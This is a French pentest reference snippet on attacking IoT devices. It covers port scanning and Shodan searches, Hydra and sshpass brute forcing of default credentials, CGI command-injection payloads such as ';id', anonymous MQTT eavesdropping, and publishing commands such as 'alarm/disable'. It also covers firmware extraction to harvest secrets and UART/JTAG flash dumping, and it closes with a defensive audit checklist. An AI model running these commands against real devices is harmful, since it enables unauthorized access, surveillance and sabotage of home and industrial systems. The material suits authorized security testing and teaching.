---
title: "IoT Pentest — Firmware, Default Creds, MQTT"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [iot, firmware, binwalk, mqtt, uart, jtag, default-creds, embedded, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Reconnaissance d'un device IoT

```bash
# Découverte réseau — IoT écoute souvent sur des ports non standard
nmap -sV -p 21,22,23,80,443,1883,8080,8443,8883,9000 {{IOT_IP}}

# Ports IoT courants
# 21    FTP (firmware update, accès fichiers)
# 22    SSH (accès shell)
# 23    Telnet (souvent sans auth)
# 80/443 Interface web de gestion
# 1883  MQTT (non chiffré)
# 8883  MQTT over TLS
# 5683  CoAP (Constrained Application Protocol)
# 9999  Souvent utilisé par les routeurs pour l'administration

# Shodan — trouver des devices exposés sur internet
# shodan.io recherche : product:"{{DEVICE_MODEL}}" ou port:1883 mqtt
```

---

## Credentials par défaut

```bash
# Bases de données de credentials par défaut
# https://www.routerpasswords.com/
# https://default-password.info/
# SecLists : /usr/share/seclists/Passwords/Default-Credentials/

# Hydra — brute force Telnet/SSH/HTTP avec credentials par défaut
hydra -L /usr/share/seclists/Passwords/Default-Credentials/default-usernames.txt \
  -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \
  telnet://{{IOT_IP}}

hydra -L default_users.txt -P default_passwords.txt ssh://{{IOT_IP}}

# Liste de credentials IoT courants
# admin/admin, admin/password, admin/1234, root/root
# user/user, admin/(vide), root/(vide), admin/admin1234
# administrator/administrator, guest/guest

# Test rapide SSH
for cred in "admin:admin" "root:root" "admin:password" "root:1234"; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  sshpass -p "$pass" ssh -o StrictHostKeyChecking=no "$user@{{IOT_IP}}" "id" 2>/dev/null && \
    echo "[SUCCESS] $user:$pass"
done
```

---

## Interface Web embarquée

```bash
# Scanner les endpoints web
gobuster dir -u http://{{IOT_IP}} \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,html,htm,cgi,sh

# Endpoints courants sur les routeurs/cameras
# /cgi-bin/login.cgi, /cgi-bin/admin.cgi
# /setup.html, /admin/, /management/

# Chercher les vulnérabilités d'injection de commandes dans les CGI
curl "http://{{IOT_IP}}/cgi-bin/test.cgi?ping={{TARGET}};id"
curl "http://{{IOT_IP}}/cgi-bin/ping.cgi?host=127.0.0.1%3Bid"

# Tester les vulnérabilités connues avec nuclei
nuclei -u http://{{IOT_IP}} -t cves/ -t technologies/
```

---

## MQTT — Message Queuing Telemetry Transport

```bash
# Installer le client MQTT
apt install mosquitto-clients -y

# Test de connexion anonyme (sans auth)
mosquitto_sub -h {{IOT_IP}} -p 1883 -t "#" -v
# "#" = wildcard tous les topics → écoute de TOUS les messages

# Topics courants IoT
mosquitto_sub -h {{IOT_IP}} -t "home/#" -v          # domotique
mosquitto_sub -h {{IOT_IP}} -t "sensor/#" -v         # capteurs
mosquitto_sub -h {{IOT_IP}} -t "device/+/status" -v  # status devices
mosquitto_sub -h {{IOT_IP}} -t "$SYS/#" -v           # infos broker (version, stats)

# Publier sur un topic (si pas d'auth en écriture)
mosquitto_pub -h {{IOT_IP}} -t "device/{{DEVICE_ID}}/control" -m "OFF"
mosquitto_pub -h {{IOT_IP}} -t "alarm/disable" -m "1"

# Avec authentification
mosquitto_sub -h {{IOT_IP}} -u {{MQTT_USER}} -P {{MQTT_PASS}} -t "#" -v

# MQTT over TLS (port 8883) — ignorer le certificat
mosquitto_sub -h {{IOT_IP}} -p 8883 --insecure -t "#" -v
```

```python
# Script Python — MQTT sniffer + log vers fichier
import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):
    print(f"[+] Connecté (code: {rc})")
    client.subscribe("#")   # tous les topics

def on_message(client, userdata, msg):
    print(f"[{msg.topic}] {msg.payload.decode(errors='replace')}")

client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect("{{IOT_IP}}", 1883, 60)
client.loop_forever()
```

---

## Extraction de Firmware

```bash
# Télécharger le firmware depuis le site du fabricant
# Ou extraire depuis une interface d'update OTA si exposée

# Installer binwalk
apt install binwalk -y
pip3 install binwalk

# Analyser le firmware
binwalk {{FIRMWARE}}.bin

# Extraire le contenu
binwalk -e {{FIRMWARE}}.bin -C ./extracted/
binwalk --dd='.*' {{FIRMWARE}}.bin   # extraire tout

# Analyser le contenu extrait
ls extracted/_{{FIRMWARE}}.bin.extracted/

# Trouver les credentials, clés, strings intéressants
grep -rE "password|passwd|secret|key|token|admin" extracted/ 2>/dev/null
strings extracted/**/*.bin | grep -E "pass|key|admin|root"

# Trouver les fichiers de configuration
find extracted/ -name "*.conf" -o -name "*.cfg" -o -name "*.json" 2>/dev/null | xargs grep -li "pass"
```

```bash
# Analyser le système de fichiers extrait
# Trouver les binaires avec SUID
find extracted/ -perm -4000 2>/dev/null

# Chercher les clés SSH ou certificats
find extracted/ -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

# Analyser les binaires avec ghidra / radare2 / strings
strings extracted/usr/bin/{{BINARY}} | grep -E "pass|key|debug"

# Firmware Analysis Toolkit (FAT) — automatise l'analyse
git clone https://github.com/attify/firmware-analysis-toolkit
./fat.py {{FIRMWARE}}.bin
```

---

## Émulation de firmware (QEMU)

```bash
# Identifier l'architecture
binwalk -A {{FIRMWARE}}.bin   # instructions CPU détectées
file extracted/bin/busybox    # architecture ELF

# Architectures communes IoT : MIPS, ARM, PowerPC

# Installer QEMU pour MIPS
apt install qemu-user-static qemu-system-mips -y

# Émuler un binaire MIPS directement
cp /usr/bin/qemu-mipsel-static extracted/
chroot extracted/ ./qemu-mipsel-static /bin/sh

# Firmware Emulation avec FIRMADYNE ou QEMU full system
# Permet de tester l'interface web embarquée localement
```

---

## Interfaces physiques — UART / JTAG

```bash
# UART — console série (accès shell sans auth souvent)
# Identifier les pins UART sur la carte (TX, RX, GND, VCC)
# Baud rates courants : 9600, 38400, 57600, 115200

# Connexion avec picocom (adaptateur USB-UART requis)
picocom -b 115200 /dev/ttyUSB0

# Connexion avec screen
screen /dev/ttyUSB0 115200

# JTAG — débogage hardware (extraction de flash, bypass sécurité)
# Outil : OpenOCD + adaptateur JTAG (Bus Pirate, JLink)
openocd -f interface/jlink.cfg -f target/{{TARGET_SOC}}.cfg
# telnet localhost 4444
# > halt; dump_image firmware_dump.bin 0x{{FLASH_BASE}} {{FLASH_SIZE}}
```

---

## Checklist d'audit IoT

<Checklist
  storageKey="iot-pentest"
  items={[
    { id: "default-creds", label: "Credentials par défaut testés (SSH, Telnet, HTTP, FTP)", critical: true },
    { id: "telnet-open", label: "Telnet désactivé ou inaccessible depuis l'extérieur", critical: true },
    { id: "mqtt-auth", label: "Broker MQTT avec authentification (pas d'accès anonyme)", critical: true },
    { id: "mqtt-tls", label: "MQTT sur TLS (port 8883) — pas de données en clair" },
    { id: "firmware-extracted", label: "Firmware extrait et analysé (binwalk) — pas de creds hardcodés" },
    { id: "web-cgi", label: "Interface web CGI testée pour injection de commandes" },
    { id: "update-signed", label: "Mises à jour firmware vérifiées par signature" },
    { id: "uart-protected", label: "UART désactivé ou protégé par mot de passe en production" },
    { id: "jtag-disabled", label: "JTAG désactivé (fuses grillées) sur les devices de production" },
    { id: "network-segment", label: "Devices IoT isolés sur un VLAN dédié (pas accès aux serveurs critiques)" }
  ]}
/>

<Warning>
La majorité des devices IoT sur le marché ont des credentials par défaut inchangeables ou codés en dur dans le firmware. En 2023, Shodan recense plus de 500 000 brokers MQTT accessibles publiquement sans authentification, dont beaucoup exposent des données de domotique, caméras industrielles, et systèmes de contrôle. La segmentation VLAN des devices IoT est la mesure défensive la plus impactante.
</Warning>

<Tip>
Binwalk identifie automatiquement les systèmes de fichiers (SquashFS, CramFS, JFFS2) et les architectures. Pour les firmwares chiffrés, chercher d'abord la clé dans les versions antérieures non chiffrées, dans les binaires d'update, ou via une session UART sur le device physique.
</Tip>
